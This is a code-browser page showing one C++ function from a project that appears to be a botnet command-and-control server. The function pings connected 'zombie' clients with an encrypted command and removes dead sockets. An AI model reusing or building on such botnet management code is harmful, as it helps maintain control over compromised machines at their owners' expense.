MCPcopy Create free account
hub / github.com/AHXR/ghost / refreshClients

Function refreshClients

_src/server/server.cpp:76–93  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

74}
75
76void refreshClients() {
77 ghostlib::_clientData client_data;
78 int i_res;
79
80 for (int i = 0; i < ghostlib::getZombieCount(); i++) {
81 client_data = ghostlib::getZombieData(i);
82
83 if (client_data.socketRef == INVALID_SOCKET) {
84 ghostlib::deleteZombie(i);
85 continue;
86 }
87 i_res = send(client_data.socketRef, encryptCMD(string("ghost_ping")).c_str(), 10, 0); // Testing if socket is active. Will never respond.
88
89 if (i_res == SOCKET_ERROR)
90 ghostlib::deleteZombie(i);
91
92 }
93}

Callers 2

gui.hFile · 0.85
t_guiFunction · 0.85

Calls 1

encryptCMDFunction · 0.85

Tested by

no test coverage detected